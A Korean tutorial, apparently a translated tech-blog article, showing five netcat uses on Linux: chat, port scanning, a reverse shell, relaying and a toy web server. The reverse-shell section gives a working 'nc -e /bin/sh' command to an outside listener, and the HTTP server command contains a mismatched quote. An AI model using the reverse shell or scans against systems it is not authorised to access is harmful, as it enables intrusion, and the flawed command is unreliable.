리눅스에서 넷캣을 위한 5가지 간단하고 쉬운 사용법

넷캣은 TCP 및 UDP 패킷을 전송하고 수신할 수 있는 리눅스의 강력한 명령줄 네트워크 유틸리티입니다. 다른 네트워크 도구와 달리, 넷캣은 매우 기본적입니다. 그러나 그 단순함 덕분에 네트워크를 통해 거의 모든 종류의 작업을 수행할 수 있습니다.
이 문서에서는 넷캣으로 수행할 수 있는 5가지 간단한 네트워킹 작업을 보여줍니다. 또한 이 문서에서는 넷캣이 특별한 이유와 리눅스 도구 모음에 포함해야 하는 이유를 강조합니다.
목차
- 넷캣은 어떻게 작동하며 왜 사용해야 할까요?
- 피어 투 피어 채팅 세션
- 기본 포트 스캐너
- 리버스 셸
- 기본 패킷 릴레이
- 기본 HTTP 서버
- 자주 묻는 질문
넷캣은 어떻게 작동하며 왜 사용해야 할까요?
넷캣은 네트워크 패킷을 전송하고 수신할 수 있는 기본 유틸리티입니다. 1995년에 호빗이라는 가명 프로그래머에 의해 처음 출시되었습니다. 그 이후로 넷캣은 모든 리눅스 배포판의 중요한 부분이 되었습니다.
넷캣은 본질적으로 한 리눅스 호스트에서 다른 리눅스 호스트로 네트워크 요청을 전송하는 방식으로 작동합니다. 이 네트워크 요청은 모든 종류의 데이터를 포함할 수 있으며, 어떤 포트에서도 전송할 수 있습니다.

이 접근 방식은 넷캣이 가능한 모든 종류의 네트워크 연결을 생성할 수 있음을 의미합니다. 예를 들어, 이 프로그램은 파일을 전송하거나 리버스 셸 세션을 생성하는 데 사용할 수 있는 직접 TCP 연결을 생성할 수 있습니다.

1. 피어 투 피어 채팅 세션
넷캣의 가장 기본적인 사용 중 하나는 두 리눅스 머신 간의 간단한 피어 투 피어 채팅 세션입니다. 이는 정보를 전송하고 수신하기 위해 제3자 서버에 의존하지 않는 통신 방법입니다.
- 이를 위해서는 로컬 머신에서 49152와 65536 사이의 포트를 열어야 합니다. 이곳에서 원격 호스트가 연결하여 임의의 정보를 로컬 머신으로 전송할 수 있습니다.
sudo ufw allow 50000- 원격 호스트에서도 정보를 수신할 수 있도록 다른 포트를 열어야 합니다:
sudo ufw allow 50001- 다음 인수로 로컬 머신에서
netcat을 실행합니다:
nc -lp50000이렇게 하면 포트 50000에서 데이터를 수신 대기하는 넷캣 세션이 열립니다.
- 이제 원격 호스트는 로컬 머신으로 텍스트 데이터를 전송할 수 있습니다. 예를 들어, 다음 명령은 시스템의 표준 입력을 원격 머신으로 전송합니다.
cat - | nc 192.168.122.136 50000
- 메시지에 응답하기 위해 원격 호스트에서도 수신 대기 데몬을 실행해야 합니다:
nc -lp50001- 이제 로컬 머신에서 원격 호스트로 메시지를 보낼 수 있습니다:
cat - | nc 192.168.122.177 50001
2. 기본 포트 스캐너
포트 스캐너는 원격 호스트에서 머신의 포트 집합이 접근 가능한지 확인하는 간단한 유틸리티입니다. 이는 시스템에 적절한 포트가 열려 있는지 확실하지 않은 경우에 매우 유용합니다.
단일 포트를 확인하려면 nc -v 다음에 IP 주소와 확인하려는 포트를 입력하여 실행할 수 있습니다:
nc -v 192.168.122.177 80
넷캣은 또한 숫자 범위를 제공하여 해당 범위 내의 각 포트 번호를 순차적으로 확인할 수 있습니다. 예를 들어, 다음 명령을 실행하면 모든 열린 “잘 알려진” 포트를 스캔합니다:
nc -v 192.168.122.177 1-1024
포트를 쿼리하는 것의 단점 중 하나는 불필요한 네트워크 트래픽을 생성한다는 것입니다. 이는 작은 홈 네트워크에서 많은 범위의 포트를 테스트할 경우 문제가 될 수 있습니다.
이를 해결하기 위해, 원격 호스트에서 어떤 네트워크 활동도 생성하지 않는 넷캣의 “제로 I/O” 모드를 활성화합니다:
nc -zv 192.168.122.177 1-1024
참고: 로컬 네트워크의 머신에 대한 정보를 수집하기 위해 sudo 없이 nmap을 사용하는 방법을 알아보세요.
3. 리버스 셸
리버스 셸은 리눅스에서 침투 테스트의 기본입니다. 이는 열린 수신 포트 없이도 시스템을 제어할 수 있는 원격 셸 인스턴스입니다. 이는 SSH 접근이 없는 머신에 접근해야 할 때 유용합니다.
- 리버스 셸을 생성하려면 로컬 머신에서 수신 대기 데몬을 열어야 합니다:
nc -lp50000- 원격 머신에서 넷캣 연결을 시작합니다. 이 경우 원격 머신의 셸 환경을 전달해야 합니다:
nc -e/bin/sh 192.168.122.136 50000참고: 위 명령은 비우분투 배포판에서만 작동합니다. 우분투에서 이를 수행하려면 “netcat-traditional” 패키지를 설치하고 “nc”를 “nc.traditional”로 교체해야 합니다.
- 로컬 머신으로 돌아가서 셸 명령을 실행합니다. 예를 들어,
ls를 실행하면 원격 사용자의 현재 디렉토리가 출력됩니다.
ls-la
- 리버스 셸 세션을 종료하려면 로컬 머신의 수신 대기 데몬에서 Ctrl + C를 누르면 됩니다.

알아두면 좋은 점: 셸 스크립팅의 기초를 배우면 리버스 셸을 효과적으로 사용할 수 있습니다.
4. 기본 패킷 릴레이
네트워크 스트림에 직접 읽고 쓰는 것 외에도, 넷캣을 사용하여 수신 연결을 임의의 출력 포트로 리디렉션할 수 있습니다. 이는 여러 개의 넷캣 수신 대기 및 클라이언트 세션을 UNIX 파이프를 사용하여 연결함으로써 작동합니다.
- 포트 50000에서 수신 대기하는 넷캣 세션을 생성합니다. 이는 기본 릴레이의 출력 포트 역할을 합니다:
nc -lv localhost 50000- 새 터미널을 열고 다음 명령을 실행합니다:
nc -lv localhost 50001 | nc localhost 50000이렇게 하면 포트 50001에서 새로운 수신 대기 데몬이 생성되고 이 포트의 모든 패킷이 포트 50000으로 자동으로 리디렉션됩니다.

- 이제 수신 포트로 데이터를 전송하면 넷캣이 자동으로 출력을 출력 포트로 리디렉션합니다.
echo"MakeTechEasier"| nc localhost 50001
- 로컬 포트 외에도 이 기능을 사용하여 다른 머신으로 네트워크 트래픽을 리디렉션할 수 있습니다. 예를 들어, 다음 코드는 포트 50000의 데이터를 다른 시스템의 동일한 포트로 전송합니다:
nc -lv localhost 50000| nc 192.168.122.177 50000
참고: 이를 위해서는 여러 개의 데몬 프로세스를 실행해야 하며, 통과하는 데이터는 암호화되지 않습니다.
5. 기본 HTTP 서버
HTTP 서버를 설정하는 것은 단일 페이지를 제공하고자 할 때도 복잡한 과정이 될 수 있습니다. 그런 점에서 넷캣은 추가 도구를 설치하지 않고도 리눅스에서 간단한 정적 웹 서버로 사용할 수 있습니다.
- 기본 HTTP 응답 파일을 생성합니다. 다음 코드 조각은 간단한 메시지를 포함한 웹 페이지를 표시합니다:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# Hello MakeTechEasier!
- 이를 “index.http”로 홈 디렉토리에 저장합니다.

- 다음 명령을 실행합니다:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
이제 작동하는 웹 서버가 있습니다. 웹 브라우저를 열고 http://localhost:8080으로 이동하여 웹 페이지를 방문할 수 있습니다.

- 터미널에서 Ctrl + C를 눌러 현재 웹서버 세션을 종료합니다.

참고: 보시다시피, 이는 매우 기본적인 HTTP 서버이며 안전하지 않습니다. 자신의 서버를 운영하는 경우, 서버를 안전하게 유지하기 위해 이러한 팁을 따라야 합니다.
알아두면 좋은 점: 텍스트 스트림을 조작하기 위해 sed를 사용하여 파일을 효과적으로 관리하는 방법을 알아보세요.
자주 묻는 질문
넷캣을 사용하여 원격 머신에 연결할 수 없습니다.
이 문제는 원격 머신에서 방화벽 포트가 차단되어 있을 가능성이 높습니다. 사용 중인 포트가 수신 및 송신 연결 모두에 대해 열려 있는지 확인해야 합니다. 예를 들어, 원격 머신에서 포트 49999를 사용하려면 sudo ufw allow 49999를 실행해야 합니다.
넷캣을 사용하여 모든 호스트에 연결할 수 있나요?
아니요. 넷캣은 임의의 네트워크 스트림을 읽고 쓸 수 있지만, 시스템의 네트워크에서 발견할 수 없는 머신에 연결할 수는 없습니다. 여기에는 포트 포워딩이 활성화되지 않은 개인 네트워크와 네트워크 접근이 없는 에어갭 시스템이 포함됩니다.
넷캣에서 연결을 스푸핑할 수 있나요?
아니요. 이는 넷캣이 유효한 네트워크 인터페이스에서만 패킷을 전송하고 수신할 수 있기 때문입니다. 그러나 여러 네트워크 인터페이스가 있는 경우 특정 패킷이 어디에서 오는지를 변경할 수 있습니다.
예를 들어, nc -l -s 10.0.0.2 -p 50000을 실행하여 넷캣이 “10.0.0.2” IP 주소가 있는 인터페이스를 사용하여 패킷을 전송하도록 명시할 수 있습니다.
이미지 출처: ThisisEngineering RAEng via Unsplash. 모든 수정 및 스크린샷은 Ramces Red에 의해 작성되었습니다.